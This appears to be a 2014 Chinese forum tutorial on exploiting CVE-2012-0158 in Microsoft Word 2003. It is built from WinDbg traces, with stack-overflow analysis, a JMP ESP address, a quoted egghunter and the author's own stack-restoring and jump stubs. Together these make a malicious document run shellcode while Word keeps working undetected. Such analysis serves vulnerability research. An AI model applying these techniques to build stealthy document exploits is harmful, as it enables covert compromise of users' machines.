[原创]解读天书----漏洞利用中级技巧的分析

发布者:仙果
发布于:2014-02-19 11:33
题记:
距离上次更新感觉已经过了很久很久的时间,什么事情多时间少都是借口,自己变的懒了倒是真的,给大家道歉,以后更新会加快的,今天不讲漏洞分析,跟我来讨论下漏洞利用中的一些原理上的分析。本篇文章遵循思考问题-分析问题-解决问题的过程,以符合大家的思路,Let’s go!
0x1        起因
江湖上一直流传着袁哥(yuange1975)的传说,发表的很多文章和微博自己从来都是当做天书来看,毕竟有些知识确实是我这等小菜无法理解和掌握的,只能深深的膜拜。
某天袁哥就发了如下的2篇微博:

图(1):袁哥微博截图
像什么APT、种马(貌似有歧义)、文件系统格式嵌入等等概念因为离自己太过遥远不去管它,真正比较敢兴趣的是“文件可正常编辑,编辑后溢出种马还一切正常”,“怎么用简单技术办法修复堆内存结构”,平时做的都是分析分析再分析,像袁哥说的那样还是真的没有想象过,但如果真如他所说,确实非常的有趣,虽然我真的不懂,但看起来很厉害的样子。看完袁哥的微博,这些东西就一直在脑子中盘旋,这到底是怎样的一种情形,又如何去做到,有没有实际一点的例子,最后实在是手痒的紧,太想见识一下传说中的不弹、不闪、不卡的真面目,于是就有了此篇文章。
0x2        分析及验证过程
0x2.1 一些思考
这些思考都是在实际调试之前自己想要弄明白的,不然当真是无从下手,这时确定目标的过程。
什么是“文件可正常编辑”?
前提条件是不影响漏洞的触发,首先要利用一个漏洞必须要保证漏洞能够在对应的软件版本平台上正常触发,之后再来文件能否正常编辑的问题,一般的漏洞样本是文件打开-闪一下-弹出了一个正常文档,这样的情况下文档处理程序是退出了的,然后再重新启动一个新的进程,原始样本肯定是不可能做到可编辑。关键点是在哪里呢?一番思考之后找到了关键:漏洞触发之后堆栈恢复(附注(1)(2))。
        如何做到堆栈恢复?
我们知道漏洞触发之后接着执行的就是ShellCode,即ShellCode接管了程序的执行流程,ShellCode主体功能执行之后呢,一般做法就是退出了,如果在ShelLCode主体功能执行之后,接着进行堆栈的恢复,若是成功,相当于交回了程序执行流程,即进程继续“正确”的执行流程,自然文档是可以正常编辑。
明白了文件可正常编辑是如何一个原理,接下来就是实际操作:
0x2.2选择CVE-2012-0158
选择哪一个漏洞作为分析的样本这是一个艰难的过程,太旧的漏洞不没有价值,新的漏洞又没有,纠结!自己分析复合文件格式方面的漏洞还是有那么几个,拿来做分析应该会快很多,Microsoft Word就是其中一个,就选它了,查找下最近的漏洞,
CVE-2012-0158(MS12-027),是去年爆出来,也算是时间比较近的一个了。
POC的链接如下:
http://bbs.pediy.com/showthread.php?p=1067805#poststop
0x2.3 确认是否能够正常打开
这是一个2012年的老漏洞,Microsoft Office 2003最新补丁补了这个漏洞,那么POC文件应该是可以正常打开并编辑。
实验环境:
Windows XP SP3_CN 最新补丁(2013.06.23)_虚拟机
Microsoft Office 2003 SP3(11.8348.8341)

在上述环境中,POC文档确实能够正常打开,如图(2)所示:

此时进行任何编辑也无问题,毕竟已经修补了此漏洞。
现在目标就是在未修补漏洞的环境中,做到像已修补漏洞环境一样可正常打开可编辑。
0x2.4 查找漏洞触发异常点
关于此漏洞的原理由于网上的文章已经很多了,一搜一大把,我这里也就不进行细致分析了,直接进入正题。
实验环境:
Windows XP SP3_CN_虚拟机(未打补丁)
Microsoft Office 2003 SP3(11.8169)
调试工具:
Windbg
010editor

首先先在虚拟机里直接运行样本观察样本的行为,哦哦,一个硕大的计算器弹了出来,证明漏洞是执行成功了的,现在要做的就是尝试断点,在Windbg中观察程序执行过程。
我们知道一个PE文件执行起来,必须要调用相应的API函数,一般情况下回ShellCode会调用WinExec() API函数来执行PE文件,就在此函数下断。
0:004> bc *
0:004> bu winexec
0:004> bl
 0 e 7c8623ad     0001 (0001)  0:**** kernel32!WinExec

重新把样本文件拷贝到虚拟机中,WIndbg附加Word.exe进程,打开样本文件,可以观察到确实在WinExec函数入口点断了下来,此时观察堆栈情况,如下:
0:000> da 08f36008 
08f36008  "C:\Documents and Settings\Admin\"
08f36028  "a.exe"
0:000> kvn
 # ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00120e10 001210de 08f36008 00000000 08f36008 kernel32!WinExec
01 00120e40 275c8a0a 08f15008 09ce28a8 0001c000 0x1210de
02 00120e7c 00120ef5 1005c48b c7000001 4d032400 
MSCOMCTL!DllGetClassObject+0x41cc6
03 00000000 00000000 00000000 00000000 00000000 0x120ef5

WinExec() 执行的PE文件路径是 C:\Documents and Settings\Admin\a.exe,观察堆栈情况可以明显的知道,MSCOMCTL!DllGetClassObject+0x41cc6 处是函数的返回地址,虽然不一定的误报率,但一般情况下都是准确的。
275c8a00 8d45f8          lea     eax,[ebp-8]
275c8a03 53              push    ebx
275c8a04 50              push    eax
275c8a05 e863fdffff      call    MSCOMCTL!DllGetClassObject+0x41a29 (275c876d)
275c8a0a 8bf0            mov     esi,eax

函数返回值的上一条指令处下断点:
Bu MSCOMCTL!DllGetClassObject+0x41cc1
重新附加Word进程,打开样本文件,能够断点上述断点处,F11跟入处理函数中,一直到如下代码:
275c87be 8b750c          mov     esi,dword ptr [ebp+0Ch]
275c87c1 8bcf            mov     ecx,edi				
275c87c3 8b7d08          mov     edi,dword ptr [ebp+8]
275c87c6 8bc1            mov     eax,ecx
275c87c8 c1e902          shr     ecx,2
275c87cb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
275c87cd 8bc8            mov     ecx,eax
275c87cf 8b4510          mov     eax,dword ptr [ebp+10h]

可以观察到在275c87cb rep movs 指令在内存拷贝时覆盖了堆栈,拷贝大小为0x8282,实际上就是Memcpy() 内存拷贝函数的简写。
覆盖前:
0:000> db esp l100
00120e30  00 00 00 00 cc 16 d2 08-10 08 00 0a 82 82 00 00  ................
00120e40  74 0e 12 00 0a 8a 5c 27-6c 0e 12 00 90 7e 1c 00  t.....\'l....~..
00120e50  82 82 00 00 00 00 00 00-cc 16 d2 08 10 08 00 0a  ................
00120e60  43 6f 62 6a 64 00 00 00-82 82 00 00 b8 17 d2 08  Cobjd...........
00120e70  e4 59 58 27 9c 0e 12 00-1a 70 5e 27 cc 16 d2 08  .YX'.....p^'....
00120e80  10 08 00 0a 00 00 00 00-a8 16 d2 08 58 74 1c 00  ............Xt..
00120e90  96 c2 5a 27 01 00 00 00-bc 0e 12 00 bc 0e 12 00  ..Z'............
00120ea0  61 73 5e 27 cc 16 d2 08-10 08 00 0a 10 08 00 0a  as^'............
00120eb0  49 74 6d 73 64 00 00 00-00 00 59 27 3c 0f 12 00  Itmsd.....Y'<...
00120ec0  b6 a8 5c 27 50 76 1c 00-10 08 00 0a a8 74 1c 00  ..\'Pv.......t..
00120ed0  58 74 1c 00 c0 ac ca 08-01 ef cd ab 00 00 05 00  Xt..............
00120ee0  98 5d 65 01 07 00 00 00-08 00 00 80 05 00 00 80  .]e.............
00120ef0  00 00 00 00 0f fa 58 27-00 00 00 00 cb 07 01 2f  ......X'......./
00120f00  de f9 58 27 00 d0 62 27-c0 ac ca 08 87 f9 58 27  ..X'..b'......X'
00120f10  e0 74 1c 00 10 08 00 0a-00 00 00 00 4e 08 7d eb  .t..........N.}.
00120f20  01 00 06 00 1c 00 00 00-00 00 00 00 00 00 00 00  ................
0:000> p

覆盖后:
0:000> db esp l100
00120e30  00 00 00 00 cc 16 d2 08-10 08 00 0a 82 82 00 00  ................
00120e40  74 0e 12 00 0a 8a 5c 27-6c 0e 12 00 90 7e 1c 00  t.....\'l....~..
00120e50  82 82 00 00 00 00 00 00-cc 16 d2 08 10 08 00 0a  ................
00120e60  43 6f 62 6a 64 00 00 00-82 82 00 00 00 00 00 00  Cobjd...........
00120e70  00 00 00 00 00 00 00 00-12 45 fa 7f 90 90 90 90  .........E......
00120e80  90 90 90 90 8b c4 05 10-01 00 00 c7 00 24 03 4d  .............$.M
00120e90  08 e9 5a 00 00 00 6b 65-72 6e 65 6c 33 32 00 df  ..Z...kernel32..
00120ea0  2d 89 8c 1b 81 7d ef 42-9d 85 85 d6 4e 99 59 5a  -....}.B....N.YZ
00120eb0  61 d8 54 93 77 77 21 9d-4a 62 68 c3 53 a3 83 6a  a.T.ww!.Jbh.S..j
00120ec0  6b df 5c 5a 8a 1d 2b 4f-2c 45 28 81 71 f5 40 01  k.\Z..+O,E(.q.@.
00120ed0  92 8f 05 ba 36 c1 0a 61-61 61 61 73 68 65 6c 6c  ....6..aaaashell
00120ee0  33 32 00 8b 98 8a 31 61-61 61 61 6f 70 65 6e 00  32....1aaaaopen.
00120ef0  e8 11 02 00 00 6a ff e8-08 00 00 00 05 35 00 00  .....j.......5..
00120f00  00 ff 10 c3 e8 00 00 00-00 58 83 c0 04 2d 77 00  .........X...-w.
00120f10  00 00 c3 55 8b ec 52 53-8b 55 08 33 c0 f7 d0 32  ...U..RS.U.3...2
00120f20  02 b3 08 d1 e8 73 05 35-20 83 b8 ed fe cb 75 f3  .....s.5 .....u.

从0x00120e70  内存处开始往下进行覆盖。
接着再来看执行到shellcode的方式,拷贝之后返回上层函数后,在
0:000> u eip
MSCOMCTL!DllGetClassObject+0x41d12:
275c8a56 c20800          ret     8

执行ret 8指令,通过JMP ESP 指令跳转到shellcode中
0:000> dd esp
00120e78  7ffa4512 90909090 90909090 1005c48b
00120e88  c7000001 4d032400 005ae908 656b0000

0x7ffa4512是非常著名的通用跳转地址,中文系统下通杀。Shellcode不是分析的主要目的,就不再对shellcode进行细致的分析。
最后使用010editor观察样本文件,很简单就能找到如下内容:
000082820000828200000000000000000000000000001245fa7f90909090909090908bc
0x8282是拷贝内存长度,0x7ffa4512是JMP ESP指令地址,9090之后就是shellcode。

0x2.5 阶段总结
总结下目前的所知道的信息,首先漏洞修补之后文档是能够正常打开编辑的,其次找到了触发漏洞的点:Memcpy()函数,在样本文件中同样也定位到了控制溢出数据和shellcode 。接着要做的就是验证漏洞情况下能否做到完美退出。
0x2.6 调试验证是否完美退出
之前的分析过程可以发现,Memcpy()函数执行之后,覆盖的程序堆栈,只有尽可能小的覆盖堆栈(ESP)上的数据,保持原有的程序参数才有可能做到完美退出,第一步验证在不进行任何数据覆盖的情况下能否完美退出。
0x.2.6.1 验证不覆盖情况下能否正常退出
观察如下代码:
275c87c1 8bcf            mov     ecx,edi		//把拷贝长度赋给ecx
275c87c3 8b7d08          mov     edi,dword ptr [ebp+8]
275c87c6 8bc1            mov     eax,ecx
275c87c8 c1e902          shr     ecx,2			//右移2位
275c87cb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]	//拷贝
275c87cd 8bc8            mov     ecx,eax
275c87cf 8b4510          mov     eax,dword ptr [ebp+10h]

修改ecx的值为0x4,执行 shr ecx,2之后,拷贝的大小就为1,即拷贝一次,一次拷贝4个字节(一个Dword),进行验证。
经过2断点修改之后,样本文件正常打开咯!这是一个很好的开始,证明自己的想法没有错,在数据填充足够小的情况下能够完美退出,距离目标又进了一大步。
0x.2.6.2 第二次思考分析
来总结下目前的情况,第一修补漏洞情况下文档正常打开和正常编辑保存,第二当只拷贝4个字节的情况下能够正常打开编辑,即可以这么说当拷贝数据足够小的情况下能够做到完美退出。第三整个漏洞分析的目标是触发漏洞并能够执行ShellCode的情况下做到完美退出。
至于在满足上述条件的情况下,覆盖多少个字节的数据,是接下来需要分析的内容。有一个前提就是越少越好,最好的情况是覆盖10多个字节就满足条件,当然这种情形估计不常见,也需要实际去测试分析。
开始吧,继续往下分析,目前为止还无法断定最终能不能达到理想的效果。
0x2.6.3验证满足条件最大字节
目前为止,还没有考虑ShellCode,不过可以肯定的是溢出时,ShellCode肯定是不能放在栈顶(ESP)附近的(可参考附注资料),一是堆栈长度不够,而是不符合实际情况,最简单的端口复用ShellCode也要在50个字节以上,更别说释放并执行的一类ShellCode,所以暂时不考虑ShellCode情况,先把完美退出的情况分析完毕之后,再去做ShellCode的工作,且看我慢慢道来。
先来观察一下在覆盖堆栈之前栈顶(ESP)的数据,
0:000> r
eax=00008282 ebx=09520810 ecx=000020a0 edx=00000000 esi=08cfefb8 edi=00120e6c
eip=275c87cb esp=00120e30 ebp=00120e40 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
MSCOMCTL!DllGetClassObject+0x41a87:
275c87cb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

0:000> dds esp
00120e30  00000000
00120e34  00192ed4
00120e38  09520810
00120e3c  00008282
00120e40  00120e74
00120e44  275c8a0a MSCOMCTL!DllGetClassObject+0x41cc6
00120e48  00120e6c
00120e4c  08cfefb8
00120e50  00008282
00120e54  00000000
00120e58  00192ed4
00120e5c  09520810
00120e60  6a626f43
00120e64  00000064
00120e68  00008282
00120e6c  00192fc0
00120e70  275859e4 MSCOMCTL!DllCanUnloadNow+0x2a31
00120e74  00120e9c
00120e78  275e701a MSCOMCTL!DLLGetDocumentation+0xd08
00120e7c  00192ed4
00120e80  09520810
00120e84  00000000
00120e88  00192eb0
00120e8c  08cfea50
00120e90  275ac296 MSCOMCTL!DllGetClassObject+0x25552
00120e94  00000001
00120e98  00120ebc
00120e9c  00120ebc
00120ea0  275e7361 MSCOMCTL!DLLGetDocumentation+0x104f
00120ea4  00192ed4
00120ea8  09520810
00120eac  09520810
00120eac  09520810
00120eb0  736d7449
00120eb4  00000064
00120eb8  27590000 MSCOMCTL!DllGetClassObject+0x92bc
00120ebc  00120f3c
00120ec0  275ca8b6 MSCOMCTL!DllGetClassObject+0x43b72
00120ec4  08cfec48
00120ec8  09520810
00120ecc  08cfeaa0
00120ed0  08cfea50
00120ed4  08c84088
00120ed8  abcdef01
00120edc  00050000
00120ee0  01655d98 xpsp2res+0x65d98

上述操作中,只覆盖了4个字节,其实覆盖的是 0x00120e6c指向的内存,此处为0,并没有影响到程序的执行流程,得以完美退出。
接下来要做的就是不断的修改测试,修改的值其实就是覆盖数据的长度(ECX),汇编中ECX一般作为数据拷贝的长度寄存器,接着寻找一个返回点同时修改栈顶(ESP)和栈底(EBP),之后返回,验证是否能够完美退出,好了说这么说,看实际是如何操作的。
观察上述堆栈(ESP)情形,可以发现如下情况:
00120e70  275859e4 MSCOMCTL!DllCanUnloadNow+0x2a31

0x00120e70 指向的内存就是存放的函数返回地址,当程序执行到ret offset时,当前的ESP寄存器就指向了这类的内存地址。
现在需要做的就是找到一个合适的栈顶(ESP)和栈底(EBP),在覆盖堆栈上一些数据之后,返回到这个栈顶(ESP),程序得以继续往下执行并且不会导致异常情况的出现。
可以肯定的是只覆盖4个字节的情况下肯定是可以完美退出的,现在就来观察一下覆盖4个字节程序的执行流程,使其依次返回上层函数来确认堆栈分布情况,记录有可能的栈顶(ESP)和栈底(ESP)寄存器。
当程序执行到如下代码:
eax=8000ffff ebx=002158f0 ecx=08190000 edx=00000000 esi=00190b48 edi=00000000
eip=275e7049 esp=00120ea0 ebp=00120ebc iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
MSCOMCTL!DLLGetDocumentation+0xd37:
275e7049 c20800          ret     8

堆栈情况如下:
ESP:
00120ea0 275e7361 MSCOMCTL!DLLGetDocumentation+0x104f
00120ea4 00190b6c 
00120ea8 08540810 
00120eac 08540810 
00120eb0 736d7449 
00120eb4 00000064 
00120eb8 27590000 MSCOMCTL!DllGetClassObject+0x92bc
00120ebc 00120f3c 
0:000> kvn
 # ChildEBP RetAddr  Args to Child              
00120ebc 275ca8b6 00215ae8 08540810 00215940 MSCOMCTL!DLLGetDocumentation+0xd37
01 00120f3c 2758aee8 002158f0 00000000 08540810 MSCOMCTL!DllGetClassObject+0x43b72
02 00120f6c 27600908 00215940 08540810 00000000 MSCOMCTL!DllGetClassObject+0x41a4
03 00120f80 302e3b3f 00215944 08540810 00000000 MSCOMCTL!DllUnregisterServer+0xc31
04 00121014 30296275 00000000 00000000 0146edbc WINWORD+0x2e3b3f
05 00121068 304c49a1 00000000 00000000 00000001 WINWORD+0x296275
06 001210e0 302e12d6 00000001 00000000 00000000 WINWORD+0x4c49a1
07 0012119c 300443b6 0146c814 00000002 0012156c WINWORD+0x2e12d6

此时 esp=00120ea0 ebp=00120ebc,距离覆盖点0x00120e6c处有了0x34个字节可以使用,猜测是可以使用此处来作为覆盖后返回的栈顶(ESP)和栈底(ESP)。
要明确一点是必须覆盖足够的数据才能覆盖到函数返回地址,否则虽然能够完美退出,但是无法执行到shellcode中就做了无用功,覆盖数据长度既不能太大也不能太小,太大无法做到完美退出,太小无法做到覆盖函数返回地址,这是一个很纠结的问题,需要很多次的分析测试。
接下来就是验证这个想法,
275c87c1 8bcf            mov     ecx,edi	//把拷贝数据长度赋给ecx
275c87c3 8b7d08          mov     edi,dword ptr [ebp+8]
275c87c6 8bc1            mov     eax,ecx			//eax会作为一个拷贝总长度
275c87c8 c1e902          shr     ecx,2				//ecx右移2位,相当于除以4
275c87cb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]	//开始拷贝

分析上述代码可知,ecx是由edi赋值而来(edi的赋值过程不在本篇的讨论范围,确认是从样本中读取而来即可),修改为一个小一些的值:0x2C进行测试,命令格式:
0:000> r edi=0x2c

理论上是能够保证覆盖函数返回地址的,接着往下执行,直至:
eax=00000057 ebx=08440810 ecx=08440810 edx=00620001 esi=00190b6c edi=00000000
eip=275c8a56 esp=00120e78 ebp=44444343 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x41d12:
275c8a56 c20800          ret     8
0:000> dds esp
00120e78  7ffa4512
00120e7c  00000000
00120e80  4a000000
00120e84  48474747
00120e88  49484848
00120e8c  4a4a4949
00120e90  4b4b4a4a
00120e94  4c4c4b4b
00120e98  00120ebc
00120e9c  00120ebc
00120ea0  275e7361 MSCOMCTL!DLLGetDocumentation+0x104f

堆栈覆盖了0x2c大小的数据,距离假定的栈顶(ESP):0x00120ea0还有8个字节,程序接着会跳转到0x7ffa4512内存地址去执行,即JMP ESP,通用利用地址无需解释。
7ffa4512 ffe4            jmp     esp {00120e84}
0:000> dds esp
00120e84  48474747
00120e88  49484848
00120e8c  4a4a4949
00120e90  4b4b4a4a
00120e94  4c4c4b4b
00120e98  00120ebc
00120e9c  00120ebc
00120ea0  275e7361 MSCOMCTL!DLLGetDocumentation+0x104f

程序会跳转到0x00120e84处执行代码,完美退出代码就应该写在此处:
00120e84 83c41c          add     esp,1Ch
00120e87 8d6c241c        lea     ebp,[esp+1Ch]
00120e8b c20800          ret     8

测试以后发现经过上述修改之后确实可做到完美退出,为继续往下分析提供了基础。
接下来要做什么?
要回答上面的问题,先来了解目前的情况,有了一个可以完美退出的样本,可以覆盖堆栈上一小部分数据,因此距离利用的目标还有一段距离,接下来要做的就是使ShellCode执行起来。
0x3        具体实现
以上部分都是分析验证部分,真正实现部分是由第三部分来完成,这部分主要完成的工作是完成ShellCode部分的修改和执行,之后能够完美退出。
0x3.1 Small ShellCode 确认及验证
需要计算留给我们填写shellcode的长度是多少?回到覆盖之前的瞬间,
0:000> r
eax=0000002c ebx=08440810 ecx=0000000b edx=00000000 esi=00216408 edi=00120e6c
eip=275c87cb esp=00120e30 ebp=00120e40 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
MSCOMCTL!DllGetClassObject+0x41a87:			//执行拷贝
275c87cb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> d esi			//对应拷贝的源数据
00216408  00 00 00 00 00 00 00 00-00 00 00 00 12 45 fa 7f  .............E..
00216418  90 90 90 90 90 90 90 90-8b c4 05 10 01 00 00 c7  ................
00216428  00 24 03 4d 08 e9 5a 00-00 00 6b 65 72 6e 65 6c  .$.M..Z...kernel
00216438  33 32 00 df 2d 89 8c 1b-81 7d ef 42 9d 85 85 d6  32..-....}.B....
0:000> d edi			//内存拷贝的目的地址
00120e6c  58 0c 19 00 e4 59 58 27-9c 0e 12 00 1a 70 5e 27  X....YX'.....p^'
00120e7c  6c 0b 19 00 10 08 44 08-00 00 00 00 48 0b 19 00  l.....D.....H...
00120e8c  c0 19 38 08 96 c2 5a 27-01 00 00 00 bc 0e 12 00  ..8...Z'........
00120e9c  bc 0e 12 00 61 73 5e 27-6c 0b 19 00 10 08 44 08  ....as^'l.....D.
00120eac  10 08 44 08 49 74 6d 73-64 00 00 00 00 00 59 27  ..D.Itmsd.....Y'
0:000> dds esp		//ESP 堆栈情况
00120e30  00000000
00120e34  00190b6c
00120e38  08440810
00120e3c  00008282
00120e40  00120e74
00120e44  275c8a0a MSCOMCTL!DllGetClassObject+0x41cc6
00120e48  00120e6c
00120e4c  00216408
00120e50  00008282
00120e54  00000000
00120e58  00190b6c
00120e5c  08440810
00120e60  6a626f43
00120e64  00000064
00120e68  00008282
00120e6c  00190c58		//从这里开始往下拷贝
00120e70  275859e4 MSCOMCTL!DllCanUnloadNow+0x2a31
00120e74  00120e9c
00120e78  275e701a MSCOMCTL!DLLGetDocumentation+0xd08
00120e7c  00190b6c
00120e80  08440810
00120e84  00000000
00120e88  00190b48
00120e8c  083819c0
00120e90  275ac296 MSCOMCTL!DllGetClassObject+0x25552
00120e94  00000001
00120e98  00120ebc
00120e9c  00120ebc		//内存拷贝到此处结束
00120ea0  275e7361 MSCOMCTL!DLLGetDocumentation+0x104f

上面代码可以看出,Memcpy内存拷贝的源数据为ESI:0x00216408 指向的数据,目的地址为EDI:0x00120e6c,最大能够填充到的地址为0x00120ea0,现在就可以计算出最大填充的字节数:0x00120ea0-0x00120e6c=0x34(52),这0x34(52)字节首先需要减去
275c8a55   leave
275c8a56   ret  8 代码的20个字节,其中leave指令12个字节,Ret 8指令8个字节,Jmp Esp 指令需要4个字节,计算公式就为 0x34(52)- 0x0c- 8 - 4= 0x1c(28)字节,所以这里只能填充为Small_ShellCode,图示如下:

0x1c(28)字节大小的缓冲区为可供编写shellcode的区域,这部分ShellCode需要完成的功能是使程序的执行流程跳转到真正实现利用功能的ShellCode。

0x3.2 编写Small Shellcode
一个小的Shellcode通过内存搜索或者其他方法来找到真正的Shellcode的过程,一般叫做Egghunrt,相应的这部分代码叫做EggSearch。网络上类似的ShellCode是非常多的。Exploit-db网站上就有一个,代码如下:
#include <stdio.h>
#include <Windows.h>
void main()
{
	__asm
	{
			; win32 eggsearch shellcode, 33 bytes
			; tested on windows xp sp2, should work on all service packs on win2k, win xp, win2k3
			; (c) 2009 by Georg 'oxff' Wicherski 
			//[bits 32]
#define marker  0x1f217767   ; 'gw!\x1f'
			nop
			nop
			nop
			nop
start:
		xor edx, edx							; edx = 0, pointer to examined address
address_loop:
			inc edx									 ; edx++, try next address
pagestart_check:
			test dx, 0x0ffc					 ; are we within the first 4 bytes of a page?
			jz address_loop				; if so, try next address as previous page might be unreadable
									; and the cmp [edx-4], marker might result in a segmentation fault
access_check:
			push edx								 ; save across syscall
			push  8h								 ; eax = 8, syscall nr of AddAtomA
			pop eax								 ; ^
			int 0x2e								 ; fire syscall (eax = 8, edx = ptr)
			cmp al, 0x05						; is result 0xc0000005? (a bit sloppy)
			pop edx    ;
			je address_loop					; jmp if result was 0xc0000005
egg_check:
			cmp dword ptr [edx-4], marker					; is our egg right before examined address?
			jne address_loop											; if not, try next address
egg_execute:
			inc ebx															; make sure, zf is not set
			jmp edx														; we found our egg at [edx-4], so we can jmp to edx
			nop
			nop
			nop
			nop
	}
}

上述代码的主要实现的功能是在内存中不断的与设置的标志位进行比较,若发现相同的字节,则跳转到标志位处执行。标志位紧接这的就是真正的shellcode。编译之后发现整个Eggsearch的大小是33个字节,与我们可控的28个字节还有几个字节的距离,需要对代码进行修改判断,查看是否最终符合不符合需求。
需要对Eggsearch这段代码进行优化,代码精简使其最终减小到28个字节以内,这是一个非常有难度的事情,因为Eggsearch本身代码已经是经过优化压缩的,在此基础上再次压缩,难度就有些大了。例如push 8,pop eax 这两句汇编指令等于mov eax,8这句指令,但是前者所占用了3个机器码(6a 08 58),后者则占用了5个机器码(b8 08 00 00 00),孰优孰劣一目了然。

0x3.3 另辟蹊径编写独特Small ShellCode
之前的分析可以发现,优化精简Eggsearch代码是非常繁琐复杂的,很难成功。这时就要考虑是否还有其他更简便的方法来实现我们的目的,如果存在的话,就不用编写搜索内存的Eggsearch代码,漏洞执行效率高,也减少了被安全软件检测到几率。
现在来分析漏洞执行过程中的代码:
[I]275c87c6 8bc1            mov     eax,ecx
275c87c8 c1e902          shr     ecx,2
275c87cb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
275c87cd 8bc8            mov     ecx,eax[/I]
275c87cf 8b4510          mov     eax,dword ptr [ebp+10h]
275c87d2 83e103          and     ecx,3
275c87d5 6a00            push    0

斜线部分代码即为漏洞触发的关键代码,实际执行的动作其实是Memcpy()函数。要完成完美退出的目的,需要修改的是ecx的大小,即memcpy()函数拷贝字符串的长度,大小为0x34(52)字节,上述是已知的条件,观察下寄存器Esi指向的数据:
0:000> db esi l100
00237790  00 00 00 00 00 00 00 43-43 43 44 44 12 45 fa 7f  .......CCCDD.E..
002377a0  00 00 00 00 00 00 00 4a-47 47 47 48 48 48 48 49  .......JGGGHHHHI
002377b0  49 49 4a 4a 4a 4a 4b 4b-4b 4b 4c 4c 4c 4c 4d 4d  IIJJJJKKKKLLLLMM
002377c0  4d 4d 4c 4c 4c 4c 4d 4d-4d 4f 4f 4f 4f 50 50 50  MMLLLLMMMOOOOPPP
002377d0  50 51 51 51 51 52 52 52-52 53 53 53 53 54 54 54  PQQQQRRRRSSSSTTT
002377e0 5555 55 55 55 56 56 56-56 56 57 57 57 57 57 58  UUUUUVVVVVWWWWW
002377f0  58 58 58 58 59 59 59 5a-5a 5a 5a 5b 5b 5b 5b 5b  XXXXYYYZZZZ[[[[[
00237800  5c 5c 5c 5c 5c 5d 5d 5d-98 8a 31 61 61 61 61 6f  \\\\\]]]..1aaaao
00237810  70 65 6e 00 e8 11 02 00-00 6a ff e8 08 00 00 00  pen......j......
00237820  05 35 00 00 00 ff 10 c3-e8 00 00 00 00 58 83 c0  .5...........X..
00237830  04 2d 77 00 00 00 c3 55-8b ec 52 53 8b 55 08 33  .-w....U..RS.U.3
00237840  c0 f7 d0 32 02 b3 08 d1-e8 73 05 35 20 83 b8 ed  ...2.....s.5 ...
00237850  fe cb 75 f3 80 3a 00 74-03 42 eb e7 f7 d0 5b 5a  ..u..:.t.B....[Z
00237860  c9 c2 04 00 51 56 57 33-c9 64 8b 35 30 00 00 00  ....QVW3.d.50...
00237870  8b 76 0c 8b 76 1c 8b 46-08 8b 7e 20 8b 36 38 4f  .v..v..F..~ .68O
00237880  18 75 f3 5f 5e 59 c3 55-8b ec 57 56 53 51 8b 7d  .u._^Y.U..WVSQ.}

斜线部分为完美退出可控数据,但是其后的数据也是在文档中,即也是可控数据。重点来了,如果可以通过一些代码的操作,使word程序的执行流程按照我们的想法改变,跳转到寄存器esi指向的数据下面处进行执行,就不用编写Eggsearch代码。
接着看能否实现,记录一下寄存器esi的值,esi=0x00237790,当程序执行到:
0:000> p
eax=00000057 ebx=08440810 ecx=08440810 edx=00630001 esi=00190b6c edi=00000000
eip=275c8a56 esp=00120e78 ebp=44444343 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x41d12:
275c8a56 c20800          ret     8
0:000> dds esp
00120e78  7ffa4512
00120e7c  00000000
00120e80  4a000000
00120e84  48474747
00120e88  49484848
00120e8c  4a4a4949
00120e90  4b4b4a4a
00120e94  4c4c4b4b
00120e98  4d4d4c4c
00120e9c  4c4c4d4d
00120ea0  275e7361 MSCOMCTL!DLLGetDocumentation+0x104f

程序此时马上就要跳转到7ffa4512 JMP ESP 指令去执行。搜索之前保存的esi的值。
0:000> sa l?fffffff 90 77 23 00
0011fd30  90 77 23 00 98 2f 21 00-10 00 00 00 e8 93 23 00  .w#../!.......#.
0014017c  90 77 23 00 80 01 14 00-80 01 14 00 b0 1f 21 00  .w#...........!.
002162d0  90 77 23 00 38 02 34 08-b4 e1 fd 7f b4 e1 fd 7f  .w#.8.4.........
002168f0  90 77 23 00 38 02 34 08-00 00 00 00 00 00 00 00  .w#.8.4.........

反复这个过程进行测试后发现0x0014017c,这个地址是固定不变的,并且指向的值必是之前保存的esi,寄存器esi指向了可控的数据,这部分可控数据只是在堆(heap)中并没有拷贝到栈上而已,只需要做到使程序在堆中执行即可。另外0x0014017c这个地址在Microsoft Office 2003的其他版本SP0/SP1/SP3,Microsoft Office 2007 SP0/SP1/SP2/SP3中都是稳定不变的,这为完美退出的工作提供了巨大的便利。
剩下的工作就是根据之前的分析编写相应的汇编代码,工作量的问题了,这里贴出自己编写的代码:
#include <WINDOWS.H>
#include <stdlib.h>
#include <stdio.h>
void main()
{
	__asm{
			mov eax,0x0014017c		//赋值操作
			mov eax,dword ptr [eax]		//取出esi的值,eax指向可控数据
			add eax,38h				//跳过自身这部分代码
			jmp eax					//直接跳往真正的shellcode

	}
}

此时通过12个字节就完成了Small ShellCode跳往真正shellcode的工作,与28个可修改字节相差了16个字节,这是一个很有成就感的工作,短小精悍是shellcode的追求。

0x3.4 收尾工作
真正ShellCode的功能多种多样,一般文档类的ShellCode无非是生成一个可执行文件并执行之,网上这部分代码也是比较多的,大家可以参考下。先来看下目前的完成了那些工作:
完美退出的代码完成。
跳转代码(Small  ShellCode)完成。
接下来要做什么?
想一下就能知道,接下来要做就是对代码进行组合,把各部分的功能添加到一起,使其成为一个有机的整体,真正可用的一个文档类漏洞利用。
